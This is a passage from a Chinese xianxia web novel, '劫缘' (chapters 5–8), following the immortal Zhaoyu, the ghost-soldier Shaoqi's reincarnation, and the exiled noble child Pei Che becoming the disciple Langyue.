因而,昭玉好似无须多言,大家都只能默认了他实至名归的身份。站在伯乐的角度来看,这一点足让他艳羡。 诸位仙客屏息看戏,本以为接下来殿下就要用“黑心阎王”该有的手段制裁这只横行霸道惯了的恶棍。 结果,昭玉帮伯乐澄清完师徒关系的事情后,就抛下只冷眼,拉着伯乐一起早早退了宴席。 看起来无声无息的,实际上两人没走多久,司法界那般就派人传了令过来。蟠桃老儿被天界司法界带回审问,落实了暗地挑拨仙人离间、违背天界纲法心知、对元君不敬等罪名。 蟠桃老儿被判了三月有余的思过门。 事后,平日里受尽蟠桃老儿压迫的神仙们纷纷表示热烈祝贺。 他们听闻此举要多亏了元武掣将军英姿飒爽、足智多谋后,便都纷纷崇尚元武掣起来。从前关于他的恶闻也皆被撤去。就连在那正火热的乞巧仙市里,仙人们相谈的红人也都换成了这气质绝尘的殿下了。 出了宴席后,昭玉脚步飞快,衣角翻飞,刮出来的风如同刀子一样,挂在紧跟他后的伯乐身上。 昭玉还是那副不咸不淡的模样,道:“师父说的要事相谈就是帮您在宴会上撑场子吗?” “好汉不提当年事嘛!”伯乐下意识要去堵耳朵。 “等到了伯乐府,想借用您心境说些事情,不介意吧?”昭玉一边说着,一边将刚刚从蟠桃老儿顺走的桃花醉变出袖子。 难怪他刚刚跑那么快,原来是怕顺东西时露出纰漏。 见了桃花醉的伯乐就跟见了耗子的猫一样,两眼放星,连连答应:“没问题没问题!” 伯乐府有一样特色,院子里常种一庭梅花,虽四季一色常开,却喜落花如雨。昭玉袖袍一挥,瞬间就点燃了一些星火,悠哉悠哉地燃着茶香。 屋子里除了梅花苦茶,还点了一炷梅花丸用以辅香。一阵寒风携着凌气挑开了屋子木门,寒风夹杂着满屋子里的梅花香,同院子里潇潇瑟瑟的落梅雨称兄道弟。 凌气卷起院子里的一地的落梅,又落到伯乐的左肩。伯乐刚反应过来的时候,那气息又瞬间轮转到了右肩,落梅花瓣齐齐落下。心境打开后,这些花瓣就全部奇异地消失了。 “昭玉只问一事,”昭玉捧着酒坛,明晃晃地展现在伯乐面前,有意是要伯乐拿东西跟他换,“师父可与明霞女师是旧识?当年究竟发生了什么?” 伯乐愣了愣,旋即垂下脑袋,然后双眼腾地生出老鼠才有的精光,伸手就要去夺昭玉的东西。 可奈何昭玉身长八尺,高挑纤细的身材做着行云流水的动作,如同幻影从眼前拂过,伯乐只好任由来人摆布。 “大侠饶命!”伯乐痛声道,由于腰伤还在不宜拉伸,而他现在又眼巴巴地挺着那不大好使的身板去够那一樽的“可欲不可求”,不由得抽了个筋儿。 如此,昭玉才停下那如同鬼魅的术法,眨眼间又瞬移到原地,语气有些失望:“时隔许久未见,师父又退步了。” 伯乐眼见昭玉略放松警惕,便欲趁机夺走桃花醉。却没想,手还没伸过去,昭玉又瞬间消失在案前,随即如同背后灵一般诡异地出现在伯乐身后,惹的伯乐背后发寒。 伯乐自知就算在自己的心境里也不可能打得过昭玉,只好认命地抛去鼠目,不满道:“难怪你要借我心境叙事,是不想暴露明霞与我的关系。” “你什么时候查出来的?” “恰巧师父邀我来宴后不久。” “你费劲心机去宴席其实不是帮我解困,而是想直接把能拿捏我的筹码拿走。” “难怪你嘴上说着不愿帮我,最后还是来了。” 伯乐不由郑重起来。 昭玉大方承认:“是,若无诱惑,怎么可能套的出师父有意隐瞒的东西?” “说吧,”昭玉指了指桃花醉,道,“说完它就归您了。” 伯乐背手行至窗前,一览无余的月光尽撒清辉,浅淡寒风吹拂过他温热的脸庞,叫他慢慢随着这风儿冷静下来,模样有种说不出来的故弄玄虚:“既然如此,我也不想和你瞒了。” “说起来,你别不信。我和明霞可是师兄妹的关系,都出师于天神座下。那天神可只有俩徒弟,再说起来,这本来是件令人自豪的事情。” 伯乐说着说着抽了抽鼻子,有些不太好意思道。 “所以什么九霄破洞掉神仙的出身全是您捏造的,”听闻伯乐自言与明霞的关系后,本来面目沉静的昭玉也出奇地惊讶起来。 “怪不得刹摩大劫的时候女师会那么关注我,”昭玉自言自语起来,脑海里又浮现了些许往日的恩恩怨怨,眉眼间有种说不过去的奇怪与哑然。 “明霞这个人别看她同我一样活了上万岁,其实也就是个老顽童。她老觉得我既然是他师兄,就要同她一般心怀苍生,不能自我堕落。可我就是不开窍,把她气的。 她就爱拿些小孩子喜欢的把戏来捉弄我活着为难我,打架都打过勒。刹摩劫难之时,本该出征的其实也该算上我的,因为我是天神的弟子,理应为天下太平赴汤蹈火。 可是我不愿意,我怕一旦如此,别人就都知道我是天神的弟子了,我既觉得不能折了我的面子,也不能折了我那德高望重的师父的面子。 我本来就不是什么修仙的料子,咱也不知道天神老人家成日里都在想些什 5. 毗邻惊梦 《劫缘》全本免费阅读 翌日,各路仙家们似乎都起得很早。大抵是昨日的闹宴太过精彩,搞得大伙儿心潮澎湃。 虽然是这样,但是少七却不以为然。他觉得全身酸痛异常,昨日于他而言,同历劫无异!同自家将军打了照面就算了,搬酒都能遇到伯乐元君,还惹出了一番闹剧,真是绝了! 他浑浑噩噩地醒来,发现自己正躺在自家元武殿里的一个角落,四下刚好无人。 还好没人!他眼见周身之陈设,即刻清醒起来。 胸腔里扑通扑通激烈跳动的心脏这才缓缓平和,他还时不时安抚自我——还好没被发现,要是被发现我在偷懒,真不知道是个什么死法勒!这元武殿的军法可是出了名的恐怖!说不定,还会被天将直接拎到地府问罪,这也太没面子了! 他才不要这样呢! 不对!他忽然意识到...... 我怎么会在这里睡着!我记得我昨天没来这儿啊!啧......昨日嘛......昨天干了啥来着?! 分明刚刚醒的时候还是有点印象的啊!怎的忽的想不起来了! 他竭力去思索记忆里的线索,却不想,他越是想,就越觉得吃力,甚至还头痛起来! 少七不乐意地晃晃头,不满道:“罢了罢了,不想了不想啦!” 还是快麻利起来,不然待会儿被巡回的将军们看见了,不知要闹出些什么事情来!眼下四处又刚好无人,趁现在溜走还是来得及的! 谁知,少七刚提起袖子欲从墙根处爬上来,背后就一阵凉意袭来。少七不由下意识颤了颤,差点没有站稳。 “你怎的身上阴气如此之重?” 从昨日昭玉第一次喊住少七的时候,他就发现了,却一直没有时间去过问。 他只以为是眼见这少七是刚从那极阴的毗邻山回来的小兵,所以身上或多或少会有些阴气的残留。 不过,天界的一天向来很长,一日既过,这孩子身上的阴气却是半点不减,完完全全是由内而发的,绝不只是单纯的表面有所残留。 “殿……殿殿殿……下?!”少七又结巴了。 靠!少七欲哭无泪地想到——我还是愿意被别的将军们发现比较好。 这下直接同元武殿里最得罪不了的那位来个激情碰面的戏码......我看还是算了吧,我没这个福分哇! “先回答,”昭玉冷冷的声线一如既往,不带有任何感情色彩。 “小......小......小小的,小的是......是四日前刚从地府调来的!”少七只觉得自己的魂儿都要飘到十万八千里外的蓬莱岛上去了。 不要怕不要怕!少七你不也见识过殿下吗,明明没有传闻中那般可怕,完完全全是个温润如玉的大哥哥,怕什么!反而更加显得自己心虚哩! 少七自顾自地在心里滔滔不绝着。 他深呼吸,却还是不敢抬头看昭玉,埋着头死盯着地板,也不说话,像是在等待命运的审判。 “随我来。” 昭玉依旧没有表示任何的情绪波动,他只是背着手点点头,说完这句话后就自顾自转身离去。 殿下这架势明摆着是要少七跟上去。 完了完了......他少七真是好大的福气,来天界当苦力不过几日就要见识见识这元武殿军法的厉害咯! 少七一想到这些,就觉得胆寒!不过,他一个无名小卒还能怎么办呢? 少七许久后才反应过来,这时昭玉已然快要走远,少七终是屁颠屁颠跟了上去。 “闭眼,挺直,站稳,”昭玉的口吻像个老成的长辈。 “喔......哦哦!”少七忙应。 完了完了,这架势怕是要带我去狱里了! 不一会儿,少七觉得脚底发烫,头微微作痛,还有些晕眩之意。要不是因为昭玉提前有所提醒,他早就东倒西歪不知什么样子了。 “睁眼。” 哎......认命吧,少七......你的命数该尽了...... 少七以为自己应当深处坏境阴暗诡异的刑狱里...... 不是,怎么感觉不太像呢? 昭玉刚刚使的是缩地万里之术,少七修为浅薄,觉得晕眩是常理。昭玉带他来了毗邻山,毗邻山地势偏僻,地形阻挡下山风频繁。因而,少七并没有感受到丝毫的阴森之感,反而有那微微山风轻拂面颊,光感也并不灰暗,反而开阔敞亮...... 不对啊,难道这里不是刑狱? 少七左一只眼先睁右一只眼后睁才敢去确认...... 毗邻山???刚刚不还是在元武战神殿嘛?这! 少七哪里懂什么仙家们的术法,只觉得离奇异常,甚至开始陷入自我的匪夷所思中。 昭玉也看不下去了,随后口头提醒他:“现下唯有你我二人在此,待会你便随我深入山谷极阴之地。入了谷,你就大胆向前走,不用问我如何。我会隐蔽气息,化成灵魄跟随在你身后。若有不测,我也会护你周全。” “啊......啊啊啊?”这是什么情况!少七近乎瞳孔地震,只敢照做,不敢问原由。 可是他是个胆小的性子,当初随天将们来此地巡逻就听闻了山间深处恐怖奇闻,听说里面孤魂野鬼诸多!不过,还好他是个小兵,跟走队伍最后摸摸鱼即可,从来不敢靠近山谷深处。 为何这高高在上的战神殿下忽的就赏识起他来了?他既结巴,做事又不灵巧,武功术法一概不通......额,扎心了。 不对!我为啥要怕!我自己不就是个野鬼吗,不谈阴气,就连邪祟鬼魅什么的他也早在地府见识过了不少!少七啊......坚强!殿下不罚我就不错了!我要抓住现在这个将功赎罪的机会才是! 不过,殿下到底想要干什么? 自隐气息,化身灵魄......又要和他这么一个没啥本事的闲人待在一块儿......居然还要求共同深入邪地——甚至不是普通的邪地,这里可是到处都沾满刹摩鲜血的邪地啊! 真是艺高人胆大啊!少七又自己在心中默默给殿下竖了根大拇指,还更加钦佩起来。 当然,关于殿下这法子,少七有些猜想。 他先前在地府的时候就听闻一些关于阴邪的传闻,听闻若是要以盛阳盛刚之气对抗阴邪,可自隐气息,深入死穴一探究竟......毕竟若是想正面相克,阴邪定会有所察觉,那阳压根就不可能寻到阴,何来对抗一说? 所以,殿下莫不是想要借他身上的阴气做障眼之术,而他想要借我开路,深入邪地,寻找阴物死穴么? 这里地势孤僻又封闭,殿下大可借此机会来个瓮中捉鳖啊!好厉害的计策! 昭玉果真爽快,二话不说就隐匿了形身,随后将一丝灵魄凝聚成了一盏冷橙色的、还隐隐泛着玉光的灯火,漂浮在少七右后肩侧。 少七有些不太适应......这种被人背后盯着的感觉多少有点缺乏安全感了。 一人一灯渐入深林,与被茂绿深林笼罩下的晦暗形成鲜明的对比。 不知为何,少七觉得预感越来越诡异起来,甚至到了后期,他往深处越是踏步,他的头就越是晕眩。 那种晕眩感和这漫山遍野的黑暗,逮着少七的意识就两面夹击起来。 最后的少七早就不是原来的那个呆少年了......可是这已然丢失了神智的少七还在领着昭玉的灵魄前行。 昭玉为了隐蔽自身强大的本道之息,不得已只取了相较于其他七魂五魄里最微弱的一丝灵魄。故而,已然变成一朵灯火的他,对于少七的变化异常迟钝,短时间内甚至丝毫没有察觉到。 忽的,少七不再走了,就像是到达了他的目的地,或者他寻到了什么他需要摸索的东西。 “可有不妥?”那盏灯火在少七身后郑重道。 “自然没有,”那少七忽的不结巴了,而且语气中诡异的笑意十分明显。这化成一丝灵魄的昭玉再怎么迟钝,也不可能察觉不到了。 “你?!”灯火大惊,本是一成不变的冷橙色在此刻也猛然炸出了一朵火红的火花。 “你在做什么!” 少七早就不受控制地催动了手中绵延不断的符咒,亮金色瞬间如同烟花绽开在一团混沌中——已经来不及了! 突然, 6. 地府奇途 《劫缘》全本免费阅读 在镜中扭曲波折那一瞬间的刺激下,少七好像做了个简短的梦。 伯乐府中的梅花暗香充斥在了自己的鼻息间,少七发现自己正坐在古朴的雕花木椅上,手里捧了一杯伯乐刚刚递给他的梅花苦茶,不过,他现在还没有启口要喝。 伯乐慵懒地卧躺在少七的对面,他把玩着手里的茶杯,自顾自地说着话。其实少七也不明白,伯乐元君到底是在自言自语......还是在和他说话。 这种与现实割裂感极强的梦境,在此时少七眼里,却万分地合情合理。 “哎,世道变迁重重,真是苦了你这个孩子。” 伯乐忽地停下手中把玩,抬眼望向了少七。 不知为何,听了伯乐这么一说,少七总感觉一股压抑而沉重的压力,若破釜沉舟一般恨不得把他的脊背折叠,压得他快要喘不过气。 为什么......这么心痛,为什么......我会这么难过......可是我是个无牵无挂的野鬼,我明明什么都不记得了...... “你身系多根,既入不了地府轮回,也打不牢仙基。如今,你帮我做一件事情,我便设计让你即刻下凡自斩前尘往事,助你登天为仙,如何?” “好。” 定有些心神恍惚,少七在没有感知下答应了伯乐的说法。 随即,伯乐手中浮现无数条散漫的金线,那些金线逐渐随着伯乐手势的变化,开始排列成无数个令人不解的符文。 “这是往世镜催动咒符,我将他传授给你。我已经在毗邻山布下往世镜,你到了法阵中心便可自行感知它的存在,届时见机行事。” 随后,伯乐一鼓作气将那些金光浮动的金文推入了少七胸前,惹得少七一声闷哼。 “喝茶罢。” 伯乐笑意盈盈道,恣意的痞笑展露张扬。 “嗯。” 一饮而尽后,少七才恍恍惚惚意识到自己正在喝茶,并且,头目逐渐晕眩起来。 刚刚......发生了什么? 少七恍惚间又回归了现实,他凭着最后一丝倔强问道—— “那您......为何要这么做?” “为了等你啊,”伯乐忽然对他笑道。 “什......么......”只可惜少七还未抛出口的那句疑惑在开口之前就被吞回腹中。少七忽然觉得头晕异常,俨然就要倒头睡去。 少七在闭眼前,看了一眼手中捧住的那碗茶水,心想——原来如此。 终是迷茶扰神,幻术乱心。 在往世境中流转扭曲的少七,忽地惊醒。 他刚要开口喊出让他匪夷所思的罪魁祸首“伯乐元君”之时,却莫名在这一瞬间被什么东西封住了口舌......他喊不出来,记忆也在消散,这就是无为境和那杯梅花茶的威力么?他竭思方得一解。 不过多久,强大的空间和时间扭曲能力,带着精疲力尽的少七来到了阴曹地府。 地府向来忙碌。 如从前判官老爱吐槽的一样,天上那帮“人上人”们走路都爱鼻孔朝天,对于咱们地底干操累活儿的鬼差们向来嗤之以鼻。所以天界从来不会往他们地府里拨人来,搞得一天到晚地府百鬼千鬼、鬼潮汹涌的,也只能凭着阎王和一帮鬼差们全年无休来撑着劲儿头干活。 看,现在鬼差大人们的脾气也一日不如一日了。 一副萎靡不振之样的少七跟在新死者的队伍后面晃晃悠悠的,忽然听到前面鬼差大人骂骂咧咧的声音,少七一下子就被吓得挺直了背脊,不敢怠慢了。 突然少七感觉到自己的后领子被无端拎起,自己像极了一只手无缚鸡之力的鸡崽子。可是这次少七却没有胆怯,反而觉得十分熟悉。 “判官大人!”少七迷茫的眼神里终于闪现出朵朵泪花。 之前少七就在地府混过好一段时间,这判官大人尤为照顾他。主要是因为判官喜欢小孩子,少七长得乖顺,性子也温和。于是,判官每次见他打招呼的方式也十分有趣,那就是喜欢揪他的后领子。 “小少七,你再不济,也该是五日归来。怎的......四日就灰溜溜地跑回来了,还成了如今这番模样?” 少七一听到故人的问候声便倍感亲切,完全止不住眼里流转的泪花。 “靠!可是那帮天界的鼻孔儿孙子欺负你了?!怎的,地府来的就敢欺负了?!连我崔大判官都不放在眼里了么?!”瞧小少七这幅样子,判官大人一下子就恼了。他惯着的宝贝儿,哪有让别人欺负的道理! “不......不不是的,判官大人,我闯祸了!我还害了别的仙人!”少七止不住哽咽。 “什......什么?!”崔判官有些愣住了,这小白兔既没有啥武功,也没有什么真本事的,还能去害了那帮鼻孔儿?! “不对!少七你被何物下了咒术?!为何,我刚刚感应到了你身上原先有的因果种种皆被封印了?你......你可以投胎啦!”判官大惊,他从来没见过还有这种情况的。 地府行事匆忙,少七排的那条鬼队后还有万里长队,鬼差们就算再怎么给崔判官面子,也不能耽搁了轮回道的事务。于是,少七很快就被催促着去投胎了。 判官含泪道别。 可能是因为少七原本就是野鬼出身,之前就喝过了孟婆汤,所以在排队轮回之前直接跳过了孟婆那一关。不然,他估计连崔判官都要识不得了。 六道轮回大门口,几个鬼差们正在登记生死簿和轮回簿。 不过,这位登记轮回簿的鬼差大人口音有点重,恰巧这位八字胡鬼差大人又识得少七。 所以还没等少七开口报名,那八字胡就喜笑颜开地对身旁负责誊写的随从说:“哎呦呦,芍七儿(少七)不当小馅饼儿(小仙兵)了呀!能套(投)胎了呀!共栖共栖(恭喜恭喜)!” “哎呦呦,都是老姑盈儿了(故人)!还要取啥么新儿名儿!就叫芍七(少七)儿啦!” 那誊写轮回薄字是鬼差随从微微皱了皱眉毛,才勉强听懂大人在说啥,于是开始郑重地誊写起“芍七”二字。 少七微微抽了抽嘴角,表示他并不想和这位八字胡寒暄。他一想到天上那位殿下被他坑了的事情,就要痛心疾首起来。 他仿佛能想象到八字胡与殿下面对面的场景了...... “哎呦呦!看来是位小贱人(小仙人)儿赖(来)历劫轮回儿了呀!难得难得!” 少七仿佛也能看到昭玉面若寒铁的神情了......救命! 都怪我!我怎么这么成事不足败事有余呢!可是......还能如何?不由地,原本就心情悲沉的少七觉得自己此刻又回到了从前那近乎万劫不复的深渊里。 不知,殿下现在何地呢...... 说罢,少七往后张望了望那一眼看不到尽头的队伍......阴郁的天气、乌烟瘴气的环境还有那一颗颗鬼脑袋们......除此之外,少七没有看见其他。 此时,不知那小鬼吏对八字胡悄咪咪说了些什么,刚刚还一片晴光潋滟的八胡子一下子就面露难色。随后又开始嘴里喋喋不休起来,少七自知听觉不错,大抵猜出了缘故...... 地府人差不足,刚刚那小鬼吏估计是给阎王带话的,说是又要给八字胡等一系列鬼差们多交代不少差事。 少 7. 仙机初开 《劫缘》全本免费阅读 人间康乐年间适逢国泰民安之时,可万事万物都如这只有凡人才会看见的表象一般么? 凡人们不知道的是,在这偌大天地间,同他们共生共死的还有妖族。除了部分皇室、修仙门派和一些特殊士族外,旁人一概不知,在统治者眼里看来,这也算是维持他们权利的一方面——为了不造成百姓恐慌,那便叫他们什么都不知道好了! 这种思想在历史上不算少数,那始皇焚书坑儒何尝不是这个道理? 修仙门派诸多,但最为神秘的却当属仙机门。 百姓们不知世上何为妖魔何为神仙,自然对仙机门一概不知。 自从新门主上任后,仙机门越发隐蔽行事,其又独立设立于南岸浮岛之上,自然就容易与世隔绝。也因此,导致其进也难其出也难。 世上许多爱好修仙门道的修仙者梦寐以求的地方也是这里,却久久未果,时而世间传闻这仙机门满是神通广大的神仙们,岂是一般人能入的? 仙机门成立至今已有上百年历史,自始至终都遵守着独善其身的原则,更是从不与外界有任何瓜葛。 不过,在十二年前,仙机门却破例了…… 大周康乐三十五年,政局波折。开国先皇驾崩,本是其子裴子轩继位,而子轩时下年幼。 宫中以赵铁思为首的宦官抱团,自成祸患,绑架幼帝,威胁太后,还窜改先皇遗诏,欲改年号,自立新帝。 先皇死前在确保亲弟裴国公无法逃离自己的手掌心后,曾将仙机门的秘密告诉了他。 为保其妻儿无患,裴国公铤而走险,提早暗中派暗卫护送妻子姬氏与其独子裴澈离开盛京,去往先皇所言的海上仙岛寻求仙机门的帮助。 本以为可以就此拖延时间,却不想裴国公还是被当众斩首,其府中上下皆不得幸免,实在令人唏嘘不已。 姬氏近乎苟延残喘,她顶着巨大的精神压力,才携子入岛。 姬氏听闻若想借仙机门之势力护己周全,那就必须要在此寻得个一官半职,或者以弟子之名拜入仙机门下。这是仙机门的规矩,天皇老子来了都改不得。所以,她不可能留下。 姬氏含泪望向自己的儿子裴澈,明白现下只好叫澈儿拜入仙机门,才能保他周全。可是,拜入仙机门也就意味着从此辞别尘俗,斩断前尘往事......她的儿便再无可能唤她一句娘了。 仙岛并未到新收弟子的时候,因此全门上下无人敢违背门主之意,私自留姬氏与裴澈。 时下,门主还在闭关,不过临近三日后就将要出关了。 姬氏闻此消息,激动不已。她不辞辛苦,抛弃往日一切荣华富贵滋养出的身姿,带着朗月在门主闭关堂外连跪了三天三夜。平日里娇养管了的小裴澈几度要晕厥而去,这是他对“生不逢时”最早也最深刻的一次体悟。 谁想,在众人都以为这心高气傲的门主要驱逐这皇室母子之时,门主却在见到裴澈的第一眼时,就同意了姬氏的万分恳求。 门主几乎不收徒,收裴澈入门后,他不过也就只有两位亲徒。 南岸海上潮湿温暖,那时傍晚正下着蓬勃暴雨,雨水打湿了姬氏的面容和发丝,三日三夜的不眠不休让此时的姬氏更为憔悴。 门主只是淡淡扫了一眼可怜的姬氏,随后才稍微弯下腰来,轻轻拿袖子擦干了幼童湿漉漉的面颊。 他淡淡道:“此子前途无量,我仙机门收定了。” 门主又抬眼冷漠地扫了眼姬氏,又默默转回眼对小裴澈说:“从此你再不念作裴澈。你可明白?” “娘......”细嫩的童音无助地望向身旁还跪着的姬氏,年方五岁的孩童初来乍到,怎会听懂门主言下之意。母亲突如其来的疏离感与门主的带来的陌生感,让小裴澈缺乏了不少安全感。他试图去揪姬氏的一摆,却被姬氏狠心甩开。 “裴澈......你还等什么呢?还不快拜见师父......” 姬氏隐忍着泪,蓬勃肆意的大雨浇撒着她的面目,叫人一时无法分辨她的面颊上到底是苦涩的泪还是腥味的雨。 “娘......”小裴澈几乎要哭出来,却在回头间被门主严肃的神情退吓了回去。 “别喊我娘!” 姬氏强作绝情。她知道若不这样,澈儿又怎么会放弃呢?如若不这样,她的澈儿就会拜师无果,后面也会因为她这个娘丢掉了唯一能活下去的希望。 门主面目波澜不惊,像个冷血极了的人物。他默声向后退了两步,他一手撑着伞,一手做出伸手的动作,仔细说道:“孩子,你是要呆在这乱世里的风雨继续飘摇,还是要来我这里且避一避?” 年纪小小的孩子最是纯情敏感,他好像感觉到娘很讨厌他,他的娘好像不愿意见到他了。 他以为若是他续在这里,娘一定会更讨厌他。于是想到这里,小裴澈摩挲摩挲泪眼才从地上站起,越过风雨,拉住了门主的手。 门主握着裴澈小小的手,二人被这把硕大的油纸伞保护地很好。雨滴犹敲打芭蕉般落在伞上,好似在这伞中,万事万物都能如同这些欢快雨点一样灵巧悦动起来。 残酷的是,眼下,所有人都独留姬氏跪在地上。 裴澈忽然意识到了什么不对,他想挣脱那只大手朝娘奔去,却无论如何都脱不开。 姬氏见此才心满意足地笑了笑,虚声道:“如此姬氏便能放心离去了。盛京早已传来暗道消息,贼人已然发现国公冒险替换母子二人之事,若我不回,他们很快就会放大疑心,届时只会对大家都不利。吾子现下已然交托到大人手里,希望大人能护他一生太平无灾。” “自然。” “裴氏血脉本不该绝,尔等奉献终有一日可昭天下。待风雨过后,歹人散去,这天下应当归还裴氏。夫人不必过于忧虑。” 门主好心又补上一句,似乎就当做了今日收徒所赠的一份好心好意。 姬氏只是苦笑,没多久就自顾自地拖起麻痹已久的身躯,渐渐消失在了茫茫风雨中。 小裴澈眼中抑制不住的泪花,让他觉得这场风雨越来越蹉跎。 盛京依旧风尘跌宕,不过,这场不该有的闹剧很快就要落下帷幕了。 裴国公乃先皇亲弟,位高权重不可言述,只是令人意想不到的是,众生眼中苛刻多疑的皇帝居然会对弟弟如此宽容。在盛京,裴国公手中还留有一物乃先皇所赠——隐卫军虎符。这是无人能料想到的。 在裴国公被押往刑场之前,裴国公就曾叫贴身暗卫一分为二。其一波负责护送姬氏与独子南下入岛。其余的则暗中随移民南至沧凌,并将隐卫军虎符带到沧凌之地,乃不知究竟要交托给谁。 在行刑后没多久,有一位少年将军率十万隐卫军自南方而来。由于南方沧凌城乃从古至今就被称道的苏常富庶之地,且不谈毫无军务历史,其地势平坦、山川表里清晰可寻......这隐卫军竟然能藏到这里! 这下给盛京一窝淫邪之徒来了个措手不及。虽然沧凌距离盛京距离不近,可现下盛京权盛溃散,民心溃散,这隐卫军本又晓勇威猛,从南方张扬而来竟然无人可当。 很快,这位少年将军——苏将军一袭鲜衣,携圣令攻入盛京城门。 一纸遗诏广示天下,人心惶惶。 高台之上,苏且光一手拎着当今朝中宦官权臣赵铁思血淋淋的项上人头,一手紧握真正的圣旨。 少年意气风发,北方的烟尘鼓起,吹得他额前散发潇洒飘逸,似乎前一刻还在奋力厮杀的悲壮之状从未发生过一样。 苏且光抬眼望去,城楼之下聚满了苦不堪言的百姓,这就是奸臣宦官的天下么?如此不堪入目!可笑至极! 他随意一甩,那死不瞑目的赵铁思之首便从高台之上直直坠落,直至满目尘灰......滚落至无人问津的角落里去。这情形,简直就像是在丢弃什么惹人厌恶的脏物。 苏且光一展怒眉,挥手一展手中圣谕——“奉天承运,皇帝诏曰:康乐三十五年间,歹人赵铁思一党离经叛道,觊觎之心昭然若揭!宦官当权,篡改遗诏,证据确凿!现,赐赵铁思斩首之邢!其余党派凡所涉及者一律株连九族!钦此!” 可是,先皇早已驾鹤西去。赵铁思一党在先皇止息之时一直服侍左右,甚至私自篡改传位遗诏。 如今,这苏将军手里的到底是何方神圣?莫非这天下真有仙人能逆风转盘、力挽狂澜? 其实不然。 先皇疑心重,对赵党狼心狗肺心知肚明,却因养虎为患后无法直击其要害,迟迟动不了手。 直至先皇病危,料及赵党篡权。他对亲弟裴国公的疑心不比对赵党的少,担心同样手握重权的皇弟会趁乱夺位。 先皇选择拿裴国公来制衡赵党,表面谈话实则 8. 幼梦魇来 《劫缘》全本免费阅读 模糊的视线终是被一抹柔软的温暖擦去,但小裴澈依旧感觉睫羽上轻微点缀的雨露和泪花还有些残留。他的脸被师父擦得干净,大大的眼睛只是眨巴眨巴着,直到忽然意识到自己已经流不出来一滴泪。 师父拿着绸布给他净完脸,舒适的触感叫小裴澈产出一丝错觉—— 他以为自己刚刚只是做了个不愉快的梦,如今他应当是刚刚梦醒,有些恍然,府中的侍女一边玩弄嘲笑他,一边给他擦去眼角湿润。 他在梦中梦到了自己的母亲弃他而去,现在醒了他应当快些去寻娘亲,让娘亲像往常一样抱着他,拍拍他小而单薄的背,说“澈儿,不哭不哭……” 可是当温和的触感离去,接踵而来的便是母亲离去的事实,以及师父那居高临下般傲气的眼神,彻骨冰寒。 这眼神,便是才瞧上一眼,小裴澈就起了一身冷汗,只好埋下头,不敢再看眼前这个陌生的、仙风道骨的中年男子。 师父抬起他的下巴,让小裴澈直视他的眼睛,淡漠而不染世俗的眼神如腊月寒冬萧瑟的冷霜,时不时还会有场大雪洋洒而下......小裴澈好像很怕他的师父。 “从今往后,你再不叫作裴澈,你可明白?”这句话小裴澈记得,如今这位大人又重复了一遍,好像这句话的回复对他的师父来说万分重要。 “那......我该叫作什么?”小裴澈从小聪颖过人,他没有单纯因畏惧而选择沉默,反倒是有要“反客为主”的意思。 到底是大周康乐大将裴公的独子! 不知怎的,师父的嘴角居然扯出了一抹意味深长的笑。 “如今雨既停,夜幕将至,今晚大抵会有一场不错的月色。朗月,从今往后你就叫作朗月。“ 朗月...... 朗月......从今你就叫做朗月...... 我叫朗月......么...... 金钟宽厚洪亮的声音自远方而来,敲醒了昏沉的白昼,亦敲醒了浑浑噩噩的朗月。 默默睁眼后,方见窗外冉冉升起的东阳自漏窗浅浅流淌起浅橙色的流波,流波细腻,卷入他的美眸,在他的清冷的眉心和淡然的眸子里缱绻。 朗月睁眼,又恍然觉得自己眼见的这些,都是十二年岁月一晃而过的虚影罢了。刚刚梦中所见是虚是实,又有何妨? 明明是十七岁的少年,却满脸清冷淡然,远没有丝毫同龄人那般的烟火气息,好似他从未拥有过所谓意气风发的少年芳华。 比起少年,他应该更像个以嫩饰老的老者。他坐在床边,静看万物复苏、晨光熹微,好似就这样看着看着,时间就能放慢脚步。 现下至春末五月时分,春光意阑珊、夏息接至。现在的白天都来得越来越早,原因便在于这太阳起得越来越勤快了。 朗月默不作声地收拾好东西,颇有仪式感地整理好屋中的所有事宜,直到所有的事物都整齐有序、仿如从前。待一切准备完善,他才迈开去往仙机殿的步子,早早的去给师父请安。 他如今是仙机门门主的关门大弟子,虽不及师姐清风的“仙机门门主首徒”名声响亮,但也颇有气势。毕竟,在仙机门的众人看来,这位朗月小公子从小就是个仙人底子,天赋异禀就算了,还努力,真是人比人气死人哟! 踏着门中极乐钟的钟声,他看到了不远处巍峨在上的仙机殿,数万台阶叫人不禁望而却步。朗月眉心微微一皱,可能他也不能理解为何仙机殿要建成这样,既费财又费力的,还不让弟子们快活。 一般情况下,那些修为不够的弟子们每日晨起后的请安任务相较于朗月而言,可就重多啦! 那万级台阶就当是他们的每日晨练了,尽管心里骂骂咧咧,可还不是一个个照做? 朗月没有体验过这种长久的痛苦。他只记得他小时候也同别的师兄弟们一样,要乖乖的老实爬上这万步高台,这让一个从小锦衣玉食的小公子累死累活了太久! 后来师父教给了他一个法诀,他只因不乐意再爬地这么辛苦,才无意间把这道法诀弄地出神入化,直至后来可以随意借风力瞬移而行。故,往往别人还在吭哧吭哧地苦行时,一道清冷的淡风就会从他们身侧呼啸而过,好不凉爽! 你说,这不是天才是什么?! 可能是天妒英才吧,大伙都觉得他们家的这位朗月小兄弟的脾气不大好,属实令人不敢恭维。倒是可惜了长了这么一张惹人欢喜的脸蛋! 朗月默不作声地盯着那远在高台之上的仙机殿,好似在思索什么。不过须臾,他就催动了法诀,乘风而去,刚刚还在台阶下观望的人,忽地几步一遥,若“扶摇直上九万里”般飞跃而上,不见踪影。 这让刚刚起早还在地上啄食的麻雀们惊得叽叽喳喳了一片,今日的喧闹或许从现在才算开始。 仙机殿—— 镂空雕着的牌匾上还有着錾金小撰以作修饰,看着明明是简朴的设计,却用意巧妙,看着更觉颇有雅意。 除了匾子,对外而示的香木窗也是镂空巧思所聚的表现,殿里有袅袅香氲从镂窗里溢出。仙香扑鼻,却不刺鼻,香烟如同仙人雅致的云雾,将殿宇渐渐环绕,不知道的还以为自己身处天宫哩! 朗月对此情形早已习惯,不为所动下,安静淡漠的神情一如既往。他看似没有作出什么明显的神色,但却已经深深吸了口气,之后才推门而入。 他是有些紧张的,尽管他自己都不愿意承认。 今日的请安必然不同往日,今日是他如期领师父之命出岛历练的日子,不过,到底所为何事、方向为何,朗月皆不知。现下,师父殿宇仙气氤氲,便是师父叫他入殿的信号。 虽前方道路迷茫,所谓不知远方,但只要知道万事万物一切的一切都有因有果,那他便不该为此多有注意和怀疑。毕竟这不是他第一次下岛历练了。 “师父,”朗月循规蹈矩地行了仙机门里的晨礼。 